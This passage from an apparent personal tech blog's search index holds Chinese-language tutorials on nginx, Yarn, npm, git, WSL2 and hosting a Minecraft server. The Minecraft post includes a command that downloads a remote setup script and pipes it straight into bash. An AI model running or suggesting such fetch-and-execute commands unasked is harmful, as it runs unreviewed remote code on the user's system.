当屏幕最大宽度只有768px时应用其下的设置","title":"css的一些知识扩展"},{"content":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\u0026quot;除2取余，逆序排列\u0026quot;法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列\n","permalink":"https://xiaochenabc123.github.io/posts/43/","summary":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\u0026quot;除2取余，逆序排列\u0026quot;法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列","title":"一些常用的进制转换方法"},{"content":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了\n","permalink":"https://xiaochenabc123.github.io/posts/39/","summary":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了","title":"记录一次MIME类型错误"},{"content":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn \u0026ndash;version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 \u0026ndash;dev\n生产环境 yarn add 包名 \u0026ndash;peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade \u0026ndash;latest 包名\n删除包\nyarn remove 包名\n支持一次性删除多个包\n管理依赖缓存\n缓存目录 yarn cache dir\n已缓存的依赖信息 yran cache list\n强制清除本地缓存的依赖 yarn cache clean\n管理依赖配置信息\n输出yarn和npm路径信息 yarn config list\n切换镜像源 yarn config set registry https://registry.npm.taobao.org -g\n查看某个依赖的具体信息 yarn info vue\n搜索项目的某个依赖信息\nyarn why 包名\nyarn run 自定义命令\n自定义命令在package.json中定义\n因为其会生成一个yarn.lock文件，只要保存这个文件，可以在其根目录下执行yarn就会直接下载yarn.lock文件所记录的包\n更新yarn本体\n最新的发布版本 yarn set version latest\n从master分支获取 yarn set version from sources\n从其他分支获取 yarn set version from sources \u0026ndash;branch 1211\n发布包\n先去注册npm账号，https://www.npmjs.com/signup\n第一次发布需要npm adduser一下，需要提供用户名，密码，邮箱，要求源必须是npm官方源\n然后yarn poblish\n启动项目，在项目根目录下执行（反正执行速度比npm快）\nyarn run dev\nyarn.lock和package-lock.json互相转换\n安装synp\nnpm install -g synp\ryarn.lock转换为package-lock.json\nsynp --source-file yarn.lock\rpackage-lock.json转换为yarn.lock\nsynp --source-file package-lock.json\r","permalink":"https://xiaochenabc123.github.io/posts/38/","summary":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn \u0026ndash;version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 \u0026ndash;dev\n生产环境 yarn add 包名 \u0026ndash;peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade \u0026ndash;latest 包名","title":"Yarn包管理工具的简单使用"},{"content":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe \u0026ndash;install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl \u0026ndash;set-default-version 2\nLinux子系统切换为wsl\nwsl \u0026ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes\u0026hellip;\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl \u0026ndash;install\n查看可用的Linux发行版\nwsl \u0026ndash;list \u0026ndash;online\n或者\nwsl -l -o\n安装指定发行版\nwsl \u0026ndash;install -d Ubuntu\n查看本地安装发行版的版本以及状态（Running为正在运行中，为停止运行中）\nwsl -l -v\n停止运行（启动也很简单，重新执行Ubuntu2004，进入系统，就会启动）\nwsl \u0026ndash;shutdown\n修改默认版本\nwsl -s Ubuntu-20.04\n卸载本地安装的发行版（全部数据都将清除）\nwsl \u0026ndash;unregister Ubuntu\n更新wsl内核\nwsl \u0026ndash;update\n回滚到wsl内核上一个版本\nwsl \u0026ndash;update rollback\nwsl发行版会将windows认为是挂载，mnt目录就是windows的目录\n导出本地发行版\nwsl \u0026ndash;export Ubuntu-20.04 d:\\ubuntu20.04.tar\n导入（在文件夹中看到vhdx文件，表示导入成功，导入的时候请确保本地没有同名的发行版，如果有需要卸载后导入）\nwsl \u0026ndash;import Ubuntu-20.04 d:\\wsl\\ubuntu d:\\ubuntu20.04.tar\n修改默认登陆用户\nubuntu2004 config \u0026ndash;default-user root\n","permalink":"https://xiaochenabc123.github.io/posts/35/","summary":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe \u0026ndash;install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl \u0026ndash;set-default-version 2\nLinux子系统切换为wsl\nwsl \u0026ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes\u0026hellip;\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl \u0026ndash;install\n查看可用的Linux发行版\nwsl \u0026ndash;list \u0026ndash;online\n或者","title":"wsl2-windows子系统简单配置"},{"content":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate \u0026ldquo;crt证书的绝对路径\u0026rdquo;; ssl_certificate_key\u0026quot;key证书的绝对路径\u0026quot;;\n如果想访问网站就301重定向到https，那么添加这几行\nserver{\rlisten 80;\rserver_name xiaochenabc123.test.com;\rrewrite ^(.*) https://$host$1 permanent;\r}\r# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / {\rproxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址\rproxy_connect_timeout 200; # 设置连接超时\rproxy_read_timeout 200; # 设置读响应超时\r}\r重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on;\rgzip_comp_level 1; gzip_min_length 10;\rgzip_http_version 1.1;\rgzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;\r解释：\ngzip on // gzip开启，关闭是off\ngzip_buffers 16 8k // 设置处理请求压缩的缓冲区数量和大小，一般不会设置，默认\ngzip_comp_level 1 // 设置压缩比，数值1至9，压缩文件越小越吃CPU，最性价比的是1\ngzip_min_length 10 // 当文件超过这个值才启用压缩，单位k，值为0时表示全站压缩\ngzip_http_version 1.1 // 这个1.1是指http版本，只有http/1.1以上才启用gzip，例如http/1.0就不启用\ngzip_types text/html // 指定要压缩的MIME类型，请求不在这个指定内范围的文件不进行压缩\n","permalink":"https://xiaochenabc123.github.io/posts/34/","summary":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate \u0026ldquo;crt证书的绝对路径\u0026rdquo;; ssl_certificate_key\u0026quot;key证书的绝对路径\u0026quot;;\n如果想访问网站就301重定向到https，那么添加这几行\nserver{\rlisten 80;\rserver_name xiaochenabc123.test.com;\rrewrite ^(.*) https://$host$1 permanent;\r}\r# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / {\rproxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址\rproxy_connect_timeout 200; # 设置连接超时\rproxy_read_timeout 200; # 设置读响应超时\r}\r重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on;\rgzip_comp_level 1; gzip_min_length 10;\rgzip_http_version 1.1;\rgzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;\r解释：\ngzip on // gzip开启，关闭是off","title":"Nginx服务器的一些简单配置"},{"content":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash\n","permalink":"https://xiaochenabc123.github.io/posts/33/","summary":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash","title":"Linux环境下简单搭建Minecraft服务器（java版）"},{"content":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install \u0026ndash;dependencies 只安装package.json里的dependencies的文件 npm install \u0026ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update\n该升级插件和npm自带的差别在于npm自带的只能通过package.json文件中所标注的版本号更新，要手动更改，而该升级插件会自动更新package.json文件中所标注的版本号\n安装淘宝 NPM 镜像 npm install -g cnpm \u0026ndash;registry=https://registry.npm.taobao.org\n全局设置淘宝 NPM 镜像 npm config set registry https://registry.npm.taobao.org -g\n使用方法 cnpm install 包名\npackage.json文件是用来定义包的属性 name 是包名 version 是包的版本号 description 是包的描述 homepage 是包的官网的url author 是包的作者名称 contributors 是包的其他贡献者名称 dependencies 是依赖包的列表，有依赖的名称和依赖的版本号，npm会自动将依赖安装到node_module目录下 repository 包代码存放的地方的类型，git或者svn main 指定了程序的主入口文件 keywords 关键字\n启动项目\nnpm run dev\nnpm run serve\n用npm安装的包都在package.json中声明了，在另一个环境下，直接npm install，就可以一键安装该项目的全部包，不用一个个安装了\nnpm install执行流程，找到npmrc文件，得到包从哪里下，下到哪里的数据，然后再判断是否存在package-lock.json文件，存在则和package.json判断版本声明是否一致（从缓存，网络资源加载依赖），一致则按照package-lock.json处理，不一致则按照package.json处理，并且更新package-lock.json\n如果没有package-lock.json文件则检查是否存在缓存，如果有缓存则解压到node_modules中，并且生成package-lock.json文件，如果没有缓存则从npm远程仓库获取包，检查包的完整性，然后添加到缓存，构建依赖树，并且解压到node_modules中，然后再生成package-lock.json文件\nnpmrc文件优先级：项目的npmrc文件\u0026gt;用户npmrc文件\u0026gt;全局npmrc文件\u0026gt;npm内置的npmrc文件\nnpm安装会先根据npmrc文件选择npm远程仓库\n项目npmrc文件在当前项目的目录\n用户npmrc文件可通过执行npm config get userconfig查看目录\n全局npmrc文件（公共npmrc）可通过npm config get prefix查看目录\n例如在项目根目录下创建.npmrc文件，并且设置registry=https://registry.npm.taobao.org\nnpmrc文件的配置是通过键值对的形式的，registry为key，https://registry.npm.taobao.org为value\n设置用户npmrc文件\n可以直接修改用户npmrc文件或者执行npm config set registry https://registry.npm.taobao.org\n设置全局npmrc文件\n可以直接修改全局npmrc文件或者执行config set registry https://registry.npm.taobao.org -g\n快速修改用户npmrc文件，npm config edit\n快速修改全局npmrc文件，npm config edit -g\n删除registry（npmrc的其他配置也可以修改，npm config delete key）\nnpm config delete registry\n查看npmrc详细配置\nnpm config list [-l]\n查看npmrc具体参数配置（npmrc的其他配置也可以查看，npm get registry key）\nnpm get registry registry\n查看全局环境包目录，npm root -g\nnpm优先安装依赖到当前项目目录的node_modules目录中，也就是说同一依赖可能在计算机上多次安装，当然也可以使用参数-g全局安装\nnpm缓存\n查看npm缓存目录，npm config get cache\n清除缓存，npm cache clean \u0026ndash;force\n下载包时会先下载到缓存中，使用pacote包解压到node_modules目录中\n其中pacote包又依赖于npm-registry-fetch来下载包，并且根据IETF RFC 7234生成缓存\n在下载包时，根据package-lock.json存储的integrity，version，name信息生成唯一的key\n如果存在缓存资源，则寻找其tar包的hash，通过pacote包将其解压到node_modules目录中\nnpm init可生成一个初始化的package.json，可通过js脚本来自定义npm init\nnpm-init.js\nmodule.exports = {\rname: prompt('name?''halloword'),\rversion: prompt('version?''0.0.1')\r}\rnpm config set init-module ~.npm-init.js\nnpm link（方便本地开发包，以及调试测试，假设npmModulea目录是一个包项目目录）\n先进入包项目目录（npmModulea目录），执行npm link，执行该命令会让npmModulea包被链接到全局node_modules目录中（软链接）\n在包项目目录（npmModulea目录）执行npm link npmModulea，该命令可以让npmModulea包链接到当前项目的node_modules目录中\nnpx可以直接执行node_modules目录的.bin目录下的文件，还可以在执行命令时自动检查命令是否存在\n而且npx在执行模块时，会优先安装模块的依赖，在执行之后会删除这些依赖，避免全局安装模块带了的问题\n部署私有npm镜像，nexus（java环境），verdaccio（Python环境），cnpm（node环境）\ncnpm私有npm镜像仓库：https://github.com/cnpm/cnpmjs.org\n简化依赖树，npm dedupe，避免几个包依赖另一个同版本包时，存在多个依赖的情况（yarn会自动执行该命令，自动扁平化依赖树）\nnpm ci要求项目存在package-lock.json或者npm-shrinkwrap.json，而且npm ci比npm install安装更严格，其完全根据package-lock.json安装依赖（安装依赖时不会修改package-lock.json和package.json），当package-lock.json中的依赖于package.json不一致时，报错退出并且不会修改package-lock.json\n注意：package-lock.json和npm-shrinkwrap.json同时存在项目目录时，package-lock.json会被忽略\nnpm ci安装依赖前，会先删除原来项目的node_modules文件夹，然后全新安装，而且是一次安装项目的全部依赖，不能安装单个依赖，所以其不需要去校验已下载依赖版本与控制版本的关系，也不用校验是否存在最新版本的库，下载的速度会更快\npackage-lock.json可以优化依赖的安装速度，package-lock.json已经保存了每个包的具体版本和下载链接，不需要再向远程仓库进行查询，获取到依赖后可直接进入文件完整性校验环节（integrity）\n而且package-lock.json可以锁定其依赖结构，保证执行npm install都得到相同的node_modules\npackage-lock.json保存其生成的依赖树是一致的，而package.json只能得到自己安装的依赖，但是其依赖的子依赖并没有记录，子依赖可能会发生改变或者更新了版本，从而导致其依赖树不一致\npackage-lock.json中的xxxdependencies\ndependencies表示项目依赖（会自动下载），devDependencies表示开发依赖（不会自动下载），peerDependencies表示同版本依赖（父依赖，宿主依赖），bundledDependencies表示捆绑依赖，optionalDependencies表示可选依赖\n注意：peerDependencies指定的依赖会进行安装，在引用这个依赖时，会先引用宿主依赖，bundledDependencies中指定的依赖，需要先在dependencies和devDependencies声明过，否则会报错，optionalDependencies中指定的依赖哪怕安装失败了，也不会导致安装失败\npeerDependencies其中的依赖就是好吧antd依赖于react和react-dom一样，是宿主依赖，表示你安装我时，最好安装这些依赖\n","permalink":"https://xiaochenabc123.github.io/posts/31/","summary":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install \u0026ndash;dependencies 只安装package.json里的dependencies的文件 npm install \u0026ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update","title":"node.js包管理工具npm的简单使用"},{"content":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config \u0026ndash;global user.name \u0026ldquo;chenjunlin\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo; # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上\u0026ndash;pretty=oneline 查看commit id（版本号）\ngit reset \u0026ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本\ngit reset \u0026ndash;hard commit id #回到“未来”的版本，版本号可以不用写全，git会自动搜索，过版本号长度要尽量的长，防止可能出现搜索到多个版本的情况\ngit reflog #查看命令历史，也被用于找回commit id\ngit reflog show和git log -g \u0026ndash;abbrev-commit \u0026ndash;pretty=oneline效果是一样的\ngit add 实际上是把要提交文件存在暂存区，git commi 是一次性把暂存区的文件提交到分支，每一次git commi都要小心！！！\ngit checkout \u0026ndash; 文件名 #把该文件从工作区的修改全部撤销掉（修改后还没有git add放在暂存区或者已经提交到暂存区后又修改了使用这个就回到提交到暂存区后的状态）\ngit reset HEAD 文件名 #将暂存区的修改撤销掉，重新放回工作区\ngit rm 文件名 #把该文件从版本库中删除\nssh-keygen -t rsa -C \u0026ldquo;邮箱\u0026rdquo; #创建SSH Key,在用户主目录，查看.ssh目录，再查看该目录 有没有id_rsa和id_rsa.pub文件，没有就执行该命令，id_rsa是私钥，id_rsa.pub是公钥，在github的Key文本框添加上id_rsa.pub文字的内容\ngit remote add origin git@github.com: github的账户名/仓库名.git #关联github仓库\ngit push -u 远程仓库名 本地分支名 # 把本地分支推送到远程库上 -u是第一次添加要使用，本地的分支和远程的分支关联起来，关联了后，第2次推送就不用加了\ngit remote add 远程库名 远程库的git链接#本地和远程库关联起来\ngit clone git@git库地址 #克隆远程库到本地\ngit checkout -b 分支名 #创建dev分支并切换到该分支，也可以使用下面方法\ngit branch 分支名 #创建分支\ngit checkout 分支名 #切换到该分支\ngit branch #查看当前分支，会输出全部分支，在当前分支前加*\ngit checkout 分支名 #切换回指定分支\ngit merge 分支名 #可以把指定分支合并到当前分支\ngit branch -d 分支名 #删除该分支\ngit status #查看冲突的文件\n\u0026laquo;\u0026laquo;\u0026laquo;\u0026lt;和=======和\u0026raquo;\u0026raquo;\u0026raquo;\u0026gt;表示不同分支的内容，修改冲突就是把不同分支提交的内容修改为一样的\n一般都是先克隆主分支上的最新文件，然后在最新文件上进行操作，然后提交，避免分支冲突\ngit log #查看分支的合并图，可以在后面加上\u0026ndash;graph\n合并分支时，git可能会使用fast forward模式，在这种模式下删除分支会丢掉分支信息，在合并时候使用git merge \u0026ndash;no-ff 分支名 表示禁用fast forward，可以加上-m参数，把commit说明加上，使用fast forward模式是看不出来做出过合并的\ngit stash #把还没有提交的工作现场存起来，可以重新恢复工作现场\ngit stash list #查看已经存起来的工作现场\ngit stash apply #恢复工作现场，但是不会删除stash的内容，需要使用git stash drop来删除\ngit stash pop #恢复工作现场并删除stash的内容\ngit stash apply stash@{指定} #可以指定恢复的stash\ngit branch -D 分支名#强制删除分支，在没有被合并的情况时\ngit remote #查看关联的远程库信息，或者加-v 查看更详细的信息，没有推送权限就没有push地址\ngit push 远程库名 分支名 #把该分支推送到远程库对应的分支上\ngit checkout -b 分支名 远程库名/分支名 #默认只有主分支，要使用其他分支上工作就使用这个\ngit branch \u0026ndash;set-upstream-to=远程库名/分支名 分支名 #指定本地分支与远程分支的链接\ngit pull #把最新的提交抓下来\ngit rebase #把本地未push的分叉提交历史衍合成基线，使用该命令会导致本地的分叉提交被修改\ngit tag 标签名 #给对应的分支打上标签，git tag查看所有标签\ngit tag -a 标签名 -m \u0026ldquo;说明\u0026rdquo; 版本号\ngit tag 标签名 版本号 #标签链接版本号\ngit show 标签名 #查看标签信息\ngit tag -d 标签名 #删除指定的标签\ngit push 远程库名 标签名 #推送该标签到远程库上，或者\u0026ndash;tags 一次性推送全部没有推送到远程库的本地标签\n删除远程库的标签先删除本地标签，然后使用 git push 远程库名：refs/tags/标签名\ngit remote rm 远程库名 #删除已有的远程库\ngit stash # 暂存修改，将改变暂时存起来\ngit stash list #查看在 stash 中的缓存 然后恢复工作现场\n合并冲突\n合并冲突是因为不同的分支，修改了同一份文件，而git不知道以谁为准，因此提示合并冲突，只需要修改这个冲突文件，修改为某个分支的修改，执行git status查看冲突的文件，再合并就好了\ngit status #查看冲突的文件\ngit log #查看分支的合并图\ngit log \u0026ndash;graph \u0026ndash;pretty=oneline \u0026ndash;abbrev-commit 